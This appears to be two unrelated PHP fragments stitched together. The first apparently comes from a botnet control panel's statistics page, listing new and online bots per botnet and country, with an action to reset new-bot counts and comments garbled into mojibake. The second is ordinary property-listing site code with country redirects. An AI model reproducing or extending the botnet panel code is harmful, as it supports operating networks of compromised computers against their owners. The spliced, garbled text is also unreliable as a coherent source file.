$output .= getBotnetStats('', $i) . THEME_LIST_END . THEME_STRING_NEWLINE; ////////////////////////////////////////////////// / / /////////////////////////////////////////////// // R'S <RІRѕRґ ReRЅS "RѕSЂRјR ° C † ReRe RѕR ± C RμRєSѓS RμRј ‰ P ± RѕS, RЅRμS, Rμ. ////////////////////////////////////////////////// / / /////////////////////////////////////////////// $actionList = ''; if (!empty($userData['r_stats_main_reset'])) { $actionList = str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_BOTNET_ACTIONS . THEME_STRING_SPACE . str_replace(array('{TEXT}', '{JS_EVENTS}'), array(LNG_STATS_RESET_NEWBOTS, ' onclick="if(confirm(\'' . addJsSlashes(LNG_STATS_RESET_NEWBOTS_Q) . '\'))window.location=\'' . QUERY_STRING_HTML . '&reset_newbots&botnet=' . addJsSlashes(urlencode(CURRENT_BOTNET)) . '\';"'), THEME_DIALOG_ITEM_ACTION)), THEME_DIALOG_TITLE); } $output .= str_replace('{WIDTH}', 'auto', THEME_DIALOG_BEGIN) . str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, LNG_STATS_BOTNET . THEME_STRING_SPACE . botnetsToListBox(CURRENT_BOTNET, '')), THEME_DIALOG_TITLE) . $actionList; //RЎR ± RѕSЂ SЃS, P ° C ReSЃS, ReRєRe RґR "SЏ RєRѕRЅRєSЂRμS, RЅRѕRіRѕ P ± RѕS, RЅRμS, P °. if (CURRENT_BOTNET != '') { $output .= THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ITEM_CHILD_BEGIN) . str_replace('{WIDTH}', '100%', THEME_LIST_BEGIN) . getBotnetStats(CURRENT_BOTNET, 0) . THEME_LIST_END . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END; } //R'S <RІRѕRґ SЃRїReSЃRєR ° SЃS, SЂR ° RЅ. $commonQuery = CURRENT_BOTNET != '' ? ' AND botnet=\'' . addslashes(CURRENT_BOTNET) . '\'' : ''; $output .= THEME_DIALOG_ROW_BEGIN . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . listCountries(LNG_STATS_COLUMN_NEWBOTS, '`flag_new`=1' . $commonQuery) . THEME_DIALOG_ITEM_CHILD_END . str_replace('{COLUMNS_COUNT}', 1, THEME_DIALOG_ITEM_CHILD_BEGIN) . listCountries(LNG_STATS_COLUMN_ONLINEBOTS, '`rtime_last`>=\'' . (CURRENT_TIME - $config['botnet_timeout']) . '\'' . $commonQuery) . THEME_DIALOG_ITEM_CHILD_END . THEME_DIALOG_ROW_END . THEME_DIALOG_END; ThemeBegin(LNG_STATS, 0, 0, 0); echo $output; ThemeEnd(); ////////////////////////////////////////////////// / / /////////////////////////////////////////////// // P ¤ † SѓRЅRєS ReRe. ////////////////////////////////////////////////// / / /////////////////////////////////////////////// /* Создание информации по ботнету. IN $botnet - string, название ботнета. IN $i - int, счетчик номера строки. Return - string, часть таблицы. */ function getBotnetStats($botnet, $i)
} else { header("Location: /404?reason=propertynotfound"); } } elseif (isset($COUNTRY_id)) { $pList = listPropertiesByCountry($mysqli, $COUNTRY_id); $list[] = "<div id='offer' class=\"backitem\">\n <a href=\"/\"><div><span class='larrow'>◄</span>" . $message_back . "</a></div>" . "</div><br/><br/>"; foreach ($pList as $obj) { // $t = countOffersForProperty($mysqli, "" . $obj->id); // // if ($t == NULL) { // $total = 0; // } else { // $total = $t->total; // } $list[] = "<div class=\"listitem\">\n <a href=\"/" . $COUNTRY_id . "/" . $locale . "/" . $obj->web_hash . "\">\n <div id=\"property-" . $obj->id . "\">" . $obj->name . "\n <span class=\"arrow\">►</span>\n </div>\n </a>\n </div>"; } } else { $list[] = "<h2>" . $MESSAGES['welcome'] . "</h2>"; $list[] = "<div class=\"listitem\">\n <a href=\"\" id=\"enableMyLocation\">\n <div>" . $message_closestLocation . "\n <span class=\"arrow\">►</span>\n </div>\n </a>\n </div><br/>"; $cList = listCountries($mysqli); foreach ($cList as $obj) { $list[] = "\n <div class=\"listitem\">\n <a href=\"/" . $obj->code . "/" . $locale . "\">\n <div id=\"" . $obj->code . "\">" . $obj->name . "\n <span class=\"arrow\">►</span>\n </div>\n </a>\n </div>"; } //default to US $COUNTRY_id = "US"; if ($page != NULL) { $location = "/US" . $COUNTRY_id . "/" . $locale . "/" . $page; header("Location: " . $location); } } //var_dump($_GET);